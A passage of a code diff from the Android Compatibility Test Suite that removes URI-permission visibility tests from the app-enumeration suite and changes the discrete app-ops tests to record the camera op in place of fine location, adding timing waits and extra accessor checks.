                 sendGetInstalledAccessibilityServicePackages(remoteCallback);
-            } else if (Constants.ACTION_CHECK_URI_PERMISSION.equals(action)) {
-                final String targetPackageName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
-                final int targetUid = intent.getIntExtra(Intent.EXTRA_UID, INVALID_UID);
-                final String sourceAuthority = intent.getBundleExtra(EXTRA_DATA)
-                        .getString(EXTRA_AUTHORITY);
-                sendCheckUriPermission(remoteCallback, sourceAuthority, targetPackageName,
-                        targetUid);
             } else {
                 sendError(remoteCallback, new Exception("unknown action " + action));
             }
@@ -625,19 +625,6 @@
         }
     }
 
-    private void sendCheckUriPermission(RemoteCallback remoteCallback, String sourceAuthority,
-            String targetPackageName, int targetUid) {
-        final Uri uri = Uri.parse("content://" + sourceAuthority);
-        grantUriPermission(targetPackageName, uri, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        final int permissionResult = checkUriPermission(uri, 0 /* pid */, targetUid,
-                Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        revokeUriPermission(uri, Intent.FLAG_GRANT_READ_URI_PERMISSION);
-        final Bundle result = new Bundle();
-        result.putInt(EXTRA_RETURN_RESULT, permissionResult);
-        remoteCallback.sendResult(result);
-        finish();
-    }
-
     @Override
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         super.onActivityResult(requestCode, resultCode, data);
diff --git a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
index 18c2cfd..c93016b 100644
--- a/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
+++ b/tests/tests/appenumeration/lib/src/android/appenumeration/cts/Constants.java
@@ -22,8 +22,6 @@
 
     /** A package that queries for {@link #TARGET_NO_API} package */
     public static final String QUERIES_PACKAGE = PKG_BASE + "queries.pkg";
-    /** A package has a provider that queries for {@link #TARGET_NO_API} package */
-    public static final String QUERIES_PACKAGE_PROVIDER = PKG_BASE + "queries.pkg.hasprovider";
     /** Queries for the unexported authority in {@link #TARGET_FILTERS} provider */
     public static final String QUERIES_UNEXPORTED_PROVIDER_AUTH =
             PKG_BASE + "queries.provider.authority.unexported";
@@ -209,9 +207,6 @@
             PKG_BASE + "cts.action.SET_INSTALLER_PACKAGE_NAME";
     public static final String ACTION_GET_INSTALLED_ACCESSIBILITYSERVICES_PACKAGES =
             PKG_BASE + "cts.action.GET_INSTALLED_ACCESSIBILITYSERVICES_PACKAGES";
-    public static final String ACTION_CHECK_URI_PERMISSION =
-            PKG_BASE + "cts.action.CHECK_URI_PERMISSION";
-
     public static final String EXTRA_REMOTE_CALLBACK = "remoteCallback";
     public static final String EXTRA_REMOTE_READY_CALLBACK = "remoteReadyCallback";
     public static final String EXTRA_ERROR = "error";
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index eb55555..4132849 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -20,7 +20,6 @@
 import static android.appenumeration.cts.Constants.ACTION_AWAIT_LAUNCHER_APPS_CALLBACK;
 import static android.appenumeration.cts.Constants.ACTION_BIND_SERVICE;
 import static android.appenumeration.cts.Constants.ACTION_CHECK_SIGNATURES;
-import static android.appenumeration.cts.Constants.ACTION_CHECK_URI_PERMISSION;
 import static android.appenumeration.cts.Constants.ACTION_GET_INSTALLED_ACCESSIBILITYSERVICES_PACKAGES;
 import static android.appenumeration.cts.Constants.ACTION_GET_INSTALLED_APPWIDGET_PROVIDERS;
 import static android.appenumeration.cts.Constants.ACTION_GET_INSTALLED_PACKAGES;
@@ -73,7 +72,6 @@
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_USES_LIBRARY;
 import static android.appenumeration.cts.Constants.QUERIES_NOTHING_USES_OPTIONAL_LIBRARY;
 import static android.appenumeration.cts.Constants.QUERIES_PACKAGE;
-import static android.appenumeration.cts.Constants.QUERIES_PACKAGE_PROVIDER;
 import static android.appenumeration.cts.Constants.QUERIES_PROVIDER_ACTION;
 import static android.appenumeration.cts.Constants.QUERIES_PROVIDER_AUTH;
 import static android.appenumeration.cts.Constants.QUERIES_SERVICE_ACTION;
@@ -109,7 +107,6 @@
 import static android.appenumeration.cts.Constants.TARGET_SYNCADAPTER_SHARED_USER;
 import static android.appenumeration.cts.Constants.TARGET_WEB;
 import static android.content.Intent.EXTRA_PACKAGES;
-import static android.content.Intent.EXTRA_RETURN_RESULT;
 import static android.content.pm.PackageManager.GET_SIGNING_CERTIFICATES;
 import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
 import static android.content.pm.PackageManager.SIGNATURE_MATCH;
@@ -158,6 +155,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.AmUtils;
 
 import org.hamcrest.core.IsNull;
 import org.junit.AfterClass;
@@ -1089,18 +1087,6 @@
         assertThat(ex.getMessage(), containsString(TARGET_NO_API));
     }
 
-    @Test
-    public void queriesPackageHasProvider_checkUriPermission_canSeeNoApi() throws Exception {
-        final int permissionResult = checkUriPermission(QUERIES_PACKAGE_PROVIDER, TARGET_NO_API);
-        assertThat(permissionResult, is(PackageManager.PERMISSION_GRANTED));
-    }
-
-    @Test
-    public void queriesPackageHasProvider_checkUriPermission_cannotSeeFilters() throws Exception {
-        final int permissionResult = checkUriPermission(QUERIES_PACKAGE_PROVIDER, TARGET_FILTERS);
-        assertThat(permissionResult, is(PackageManager.PERMISSION_DENIED));
-    }
-
     private void assertNotVisible(String sourcePackageName, String targetPackageName)
             throws Exception {
         if (!sGlobalFeatureEnabled) return;
@@ -1424,17 +1410,6 @@
                 extraData, ACTION_SET_INSTALLER_PACKAGE_NAME);
     }
 
-    private int checkUriPermission(String sourcePackageName, String targetPackageName)
-            throws Exception {
-        final int targetUid = sPm.getPackageUid(targetPackageName, /* flags */ 0);
-        final Bundle extraData = new Bundle();
-        extraData.putString(EXTRA_AUTHORITY, sourcePackageName);
-        final Result result = sendCommand(sourcePackageName, targetPackageName, targetUid,
-                extraData, ACTION_CHECK_URI_PERMISSION, /* waitForReady */ false);
-        final Bundle response = result.await();
-        return response.getInt(EXTRA_RETURN_RESULT);
-    }
-
     interface Result {
         Bundle await() throws Exception;
     }
@@ -1474,6 +1449,7 @@
                 sResponseHandler);
         intent.putExtra(EXTRA_REMOTE_CALLBACK, callback);
         if (waitForReady) {
+            AmUtils.waitForBroadcastIdle();
             startAndWaitForCommandReady(intent);
         } else {
             InstrumentationRegistry.getInstrumentation().getContext().startActivity(intent);
diff --git a/tests/tests/appop/AppForDiscreteTest/AndroidManifest.xml b/tests/tests/appop/AppForDiscreteTest/AndroidManifest.xml
index 072cdf7..64c8f31 100644
--- a/tests/tests/appop/AppForDiscreteTest/AndroidManifest.xml
+++ b/tests/tests/appop/AppForDiscreteTest/AndroidManifest.xml
@@ -19,7 +19,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.app.appops.cts.appfordiscretetest">
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_CAMERA"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
index 43f8c36..2a85818 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsLoggingTest.kt
@@ -576,13 +576,18 @@
         }
 
         eventually {
-            assertThat(asyncNoted.map { it.op }).containsAnyOf(OPSTR_COARSE_LOCATION,
-                OPSTR_FINE_LOCATION)
-            assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
-
-            assertThat(asyncNoted[0].message).contains(locationListener::class.java.name)
-            assertThat(asyncNoted[0].message).contains(
-                Integer.toString(System.identityHashCode(locationListener)))
+            if (!noted.isEmpty()) {
+                assertThat(noted.map { it.first.op })
+                    .containsAnyOf(OPSTR_COARSE_LOCATION, OPSTR_FINE_LOCATION)
+                assertThat(noted[0].first.attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+            } else {
+                assertThat(asyncNoted.map { it.op })
+                    .containsAnyOf(OPSTR_COARSE_LOCATION, OPSTR_FINE_LOCATION)
+                assertThat(asyncNoted[0].attributionTag).isEqualTo(TEST_ATTRIBUTION_TAG)
+                assertThat(asyncNoted[0].message).contains(locationListener::class.java.name)
+                assertThat(asyncNoted[0].message).contains(
+                    Integer.toString(System.identityHashCode(locationListener)))
+            }
         }
     }
 
diff --git a/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
index fec50eb..f889e24 100644
--- a/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
@@ -25,11 +25,15 @@
 import android.app.AppOpsManager.KEY_FG_SERVICE_STATE_SETTLE_TIME
 import android.app.AppOpsManager.KEY_TOP_STATE_SETTLE_TIME
 import android.app.AppOpsManager.KEY_BG_STATE_SETTLE_TIME
+import android.app.AppOpsManager.MODE_ALLOWED
+import android.app.AppOpsManager.MODE_IGNORED
 import android.app.AppOpsManager.OPSTR_CAMERA
 import android.app.AppOpsManager.OPSTR_FINE_LOCATION
 import android.app.AppOpsManager.OP_FLAGS_ALL
 import android.app.AppOpsManager.OP_FLAG_SELF
 import android.app.AppOpsManager.OP_FLAG_TRUSTED_PROXIED
+import android.app.AppOpsManager.UID_STATE_CACHED
+import android.app.AppOpsManager.UID_STATE_PERSISTENT
 import android.content.ComponentName
 import android.content.Context
 import android.content.Intent
@@ -41,6 +45,7 @@
 import android.provider.Settings
 import androidx.test.platform.app.InstrumentationRegistry
 import androidx.test.uiautomator.UiDevice
+import com.android.compatibility.common.util.SystemUtil
 import com.google.common.truth.Truth.assertThat
 import org.junit.After
 import org.junit.Assert
@@ -89,6 +94,13 @@
     private lateinit var appOpsManager: AppOpsManager
     private val uiDevice = UiDevice.getInstance(instrumentation)
 
+    private val testPkgAppOpMode: Int
+        get() {
+            return SystemUtil.callWithShellPermissionIdentity {
+                appOpsManager.noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, null, null)
+            }
+        }
+
     @Before
     fun setUpTest() {
         appOpsManager = context.getSystemService(AppOpsManager::class.java)!!
@@ -175,10 +187,11 @@
     @Test
     fun testRecordAndCheckAppOp() {
         waitUntilSafelyInTimeQuant(DEFAULT_TIME_QUANT_MILLIS, SAFETY_MARGIN_MILLIS)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, null, null)
-
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, null, null)
         val timeStamp = System.currentTimeMillis() /
                 DEFAULT_TIME_QUANT_MILLIS * DEFAULT_TIME_QUANT_MILLIS
+        Thread.sleep(250)
+
         // Get all ops for the package
         var allOps = getHistoricalOps(HISTORY_FLAGS_ALL)
 
@@ -197,7 +210,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -221,7 +234,7 @@
 
         op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         discrete = op.getDiscreteAccessAt(0)
 
@@ -245,15 +258,15 @@
 
         op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(0)
     }
 
     @Test
     fun testNotedTwiceRecordedOnce() {
         waitUntilSafelyInTimeQuant(DEFAULT_TIME_QUANT_MILLIS, SAFETY_MARGIN_MILLIS)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, null, null)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, null, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, null, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, null, null)
 
         val timeStamp = System.currentTimeMillis() /
                 DEFAULT_TIME_QUANT_MILLIS * DEFAULT_TIME_QUANT_MILLIS
@@ -274,7 +287,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -288,13 +301,13 @@
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
         val timeStamp = System.currentTimeMillis() /
                 SHORT_TIME_QUANT_MILLIS * SHORT_TIME_QUANT_MILLIS
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
         Thread.sleep(100)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
         Thread.sleep(100)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
         var allOps = getHistoricalOps()
         assertThat(allOps).isNotNull()
         assertThat(allOps!!.uidCount).isEqualTo(1)
@@ -311,7 +324,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(2)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -330,7 +343,7 @@
         waitUntilSafelyInTimeQuant(DEFAULT_TIME_QUANT_MILLIS, SAFETY_MARGIN_MILLIS)
         val timeStamp = System.currentTimeMillis() /
                 DEFAULT_TIME_QUANT_MILLIS * DEFAULT_TIME_QUANT_MILLIS
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, null, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, null, null)
 
         var allOps = getHistoricalOps()
 
@@ -349,7 +362,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -375,7 +388,7 @@
 
         op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         discrete = op.getDiscreteAccessAt(0)
 
@@ -389,7 +402,7 @@
         waitUntilSafelyInTimeQuant(DEFAULT_TIME_QUANT_MILLIS, SAFETY_MARGIN_MILLIS)
         var timeStamp = System.currentTimeMillis() /
                 DEFAULT_TIME_QUANT_MILLIS * DEFAULT_TIME_QUANT_MILLIS - TEN_MINUTES_MILLIS
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
 
         runWithShellPermissionIdentity {
             appOpsManager.offsetHistory(TEN_MINUTES_MILLIS)
@@ -412,7 +425,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -428,21 +441,23 @@
 
     @Test
     fun testDeduplicationUidState() {
+        makeTop() // pre-warm application uid state change to make it faster during test run
+        makeBackground()
         setQuantization(SHORT_TIME_QUANT_MILLIS)
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
         val timestamp = System.currentTimeMillis() /
             SHORT_TIME_QUANT_MILLIS * SHORT_TIME_QUANT_MILLIS
 
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
 
         makeTop()
 
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
 
         makeBackground()
 
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
 
         var allOps = getHistoricalOps()
         assertThat(allOps).isNotNull()
@@ -456,11 +471,9 @@
         var packageOps = uidOps.getPackageOpsAt(0)
         assertThat(packageOps).isNotNull()
         assertThat(packageOps.packageName).isEqualTo(PACKAGE_NAME)
-        assertThat(packageOps.opCount).isEqualTo(1)
 
-        var op = packageOps.getOpAt(0)
+        var op = packageOps.getOp(OPSTR_CAMERA)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
         assertThat(op.discreteAccessCount).isEqualTo(2)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -482,10 +495,10 @@
         val timestamp = System.currentTimeMillis() /
                 SHORT_TIME_QUANT_MILLIS * SHORT_TIME_QUANT_MILLIS
 
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG2)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG2)
         Thread.sleep(SHORT_TIME_QUANT_MILLIS)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1)
         var allOps = getHistoricalOps(HISTORY_FLAG_DISCRETE)
         assertThat(allOps).isNotNull()
         assertThat(allOps!!.uidCount).isEqualTo(1)
@@ -502,7 +515,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(2)
         var discrete = op.getDiscreteAccessAt(0)
         assertThat(discrete.getLastDuration(OP_FLAGS_ALL)).isEqualTo(-1)
@@ -519,7 +532,7 @@
         assertThat(attribution!!.opCount).isEqualTo(1)
         op = attribution.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(2)
         discrete = op.getDiscreteAccessAt(0)
         assertThat(discrete.getLastDuration(OP_FLAGS_ALL)).isEqualTo(-1)
@@ -535,7 +548,7 @@
         assertThat(attribution!!.opCount).isEqualTo(1)
         op = attribution.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         discrete = op.getDiscreteAccessAt(0)
         assertThat(discrete.getLastDuration(OP_FLAGS_ALL)).isEqualTo(-1)
@@ -547,12 +560,14 @@
         runWithShellPermissionIdentity {
             DeviceConfig.setProperty(NAMESPACE_PRIVACY, PROPERTY_CUTOFF, 120000L.toString(), false)
         }
+        // Pause to give the AppOpsService (DiscreteRegistry) time to pick up the new value.
+        Thread.sleep(1000)
 
         waitUntilSafelyInTimeQuant(DEFAULT_TIME_QUANT_MILLIS, SAFETY_MARGIN_MILLIS)
         val timeStamp = System.currentTimeMillis() /
                 DEFAULT_TIME_QUANT_MILLIS * DEFAULT_TIME_QUANT_MILLIS
 
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME)
         var allOps = getHistoricalOps()
         assertThat(allOps).isNotNull()
         assertThat(allOps!!.uidCount).isEqualTo(1)
@@ -569,7 +584,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -589,35 +604,37 @@
     fun testMixedDeduplication() {
         setQuantization(SHORT_TIME_QUANT_MILLIS)
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
+        makeTop() // pre-warm application uid state change to make it faster during test run
+        makeBackground()
         val timestamp = System.currentTimeMillis() /
                 SHORT_TIME_QUANT_MILLIS * SHORT_TIME_QUANT_MILLIS
         val timestamp2 = timestamp + SHORT_TIME_QUANT_MILLIS
         val timestamp3 = timestamp2 + SHORT_TIME_QUANT_MILLIS
         val timestamp4 = timestamp3 + SHORT_TIME_QUANT_MILLIS
         // first quant - foreground access in tag1, background in tag2
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG2)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG2)
         makeTop()
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1)
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
 
         // second quant - background access in tag1, foreground in tag2
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG2, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG2, null)
         makeBackground()
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1, null)
         makeTop()
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
 
         // third quant - single foreground access in tag1, nothing in tag2
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1, null)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1, null)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1, null)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG1, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG1, null)
         makeBackground()
         waitUntilNextQuantStarts(SHORT_TIME_QUANT_MILLIS)
 
         // fourth quant - single background access in tag2, nothing in tag1
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG2, null)
-        noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, TAG2, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG2, null)
+        noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, TAG2, null)
         var allOps = getHistoricalOps(HISTORY_FLAG_DISCRETE)
         assertThat(allOps).isNotNull()
         assertThat(allOps!!.uidCount).isEqualTo(1)
@@ -630,11 +647,9 @@
         var packageOps = uidOps.getPackageOpsAt(0)
         assertThat(packageOps).isNotNull()
         assertThat(packageOps.packageName).isEqualTo(PACKAGE_NAME)
-        assertThat(packageOps.opCount).isEqualTo(1)
 
-        var op = packageOps.getOpAt(0)
+        var op = packageOps.getOp(OPSTR_CAMERA)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
         assertThat(op.discreteAccessCount).isEqualTo(4)
         var discrete = op.getDiscreteAccessAt(0)
         assertThat(discrete.getLastAccessForegroundTime(OP_FLAGS_ALL)).isEqualTo(timestamp)
@@ -652,13 +667,12 @@
         assertThat(discrete.getLastAccessForegroundTime(OP_FLAGS_ALL)).isEqualTo(-1)
         assertThat(discrete.getLastAccessBackgroundTime(OP_FLAGS_ALL)).isEqualTo(timestamp4)
 
-        assertThat(packageOps.attributedOpsCount).isEqualTo(2)
         var attribution = packageOps.getAttributedOps(TAG1)
         assertThat(attribution).isNotNull()
         assertThat(attribution!!.opCount).isEqualTo(1)
         op = attribution.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(3)
         discrete = op.getDiscreteAccessAt(0)
         assertThat(discrete.getLastAccessForegroundTime(OP_FLAGS_ALL)).isEqualTo(timestamp)
@@ -677,7 +691,7 @@
         assertThat(attribution!!.opCount).isEqualTo(1)
         op = attribution.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(3)
         discrete = op.getDiscreteAccessAt(0)
         assertThat(discrete.getLastAccessForegroundTime(OP_FLAGS_ALL)).isEqualTo(-1)
@@ -690,6 +704,22 @@
         discrete = op.getDiscreteAccessAt(2)
         assertThat(discrete.getLastAccessForegroundTime(OP_FLAGS_ALL)).isEqualTo(-1)
         assertThat(discrete.getLastAccessBackgroundTime(OP_FLAGS_ALL)).isEqualTo(timestamp4)
+
+        // Test the same result using alternative accessors.
+        var accesses = op.getBackgroundDiscreteAccesses(OP_FLAGS_ALL)
+        assertThat(accesses.size).isEqualTo(2)
+        assertThat(accesses[0].getLastAccessTime(OP_FLAGS_ALL)).isEqualTo(timestamp)
+        assertThat(accesses[1].getLastAccessTime(OP_FLAGS_ALL)).isEqualTo(timestamp4)
+
+        accesses = op.getForegroundDiscreteAccesses(OP_FLAGS_ALL)
+        assertThat(accesses.size).isEqualTo(1)
+        assertThat(accesses[0].getLastAccessTime(OP_FLAGS_ALL)).isEqualTo(timestamp2)
+
+        accesses = op.getDiscreteAccesses(UID_STATE_PERSISTENT, UID_STATE_CACHED, OP_FLAGS_ALL)
+        assertThat(accesses.size).isEqualTo(3)
+        assertThat(accesses[0].getLastAccessTime(OP_FLAGS_ALL)).isEqualTo(timestamp)
+        assertThat(accesses[1].getLastAccessTime(OP_FLAGS_ALL)).isEqualTo(timestamp2)
+        assertThat(accesses[2].getLastAccessTime(OP_FLAGS_ALL)).isEqualTo(timestamp4)
     }
 
     @Test
@@ -827,12 +857,13 @@
     fun testOpFlagsAndDeduplication() {
         waitUntilSafelyInTimeQuant(DEFAULT_TIME_QUANT_MILLIS, SAFETY_MARGIN_MILLIS)
         runWithShellPermissionIdentity {
-            appOpsManager.noteProxyOp(OPSTR_FINE_LOCATION, PACKAGE_NAME, uid, null, null)
-            appOpsManager.noteOp(OPSTR_FINE_LOCATION, uid, PACKAGE_NAME, null, null)
+            appOpsManager.noteProxyOp(OPSTR_CAMERA, PACKAGE_NAME, uid, null, null)
+            appOpsManager.noteOp(OPSTR_CAMERA, uid, PACKAGE_NAME, null, null)
         }
 
         val timeStamp = System.currentTimeMillis() /
                 DEFAULT_TIME_QUANT_MILLIS * DEFAULT_TIME_QUANT_MILLIS
+        Thread.sleep(500)
         var allOps = getHistoricalOps(HISTORY_FLAG_DISCRETE)
 
         assertThat(allOps).isNotNull()
@@ -850,7 +881,7 @@
 
         var op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         var discrete = op.getDiscreteAccessAt(0)
 
@@ -876,7 +907,7 @@
 
         op = packageOps.getOpAt(0)
         assertThat(op).isNotNull()
-        assertThat(op.opName).isEqualTo(OPSTR_FINE_LOCATION)
+        assertThat(op.opName).isEqualTo(OPSTR_CAMERA)
         assertThat(op.discreteAccessCount).isEqualTo(1)
         discrete = op.getDiscreteAccessAt(0)
 
@@ -884,6 +915,13 @@
         assertThat(discrete.getLastAccessTime(OP_FLAGS_ALL)).isEqualTo(timeStamp)
         assertThat(discrete.getLastAccessTime(OP_FLAG_TRUSTED_PROXIED)).isEqualTo(timeStamp)
         assertThat(discrete.getLastAccessTime(OP_FLAG_SELF)).isEqualTo(-1)
+
+        // test alternative accessor
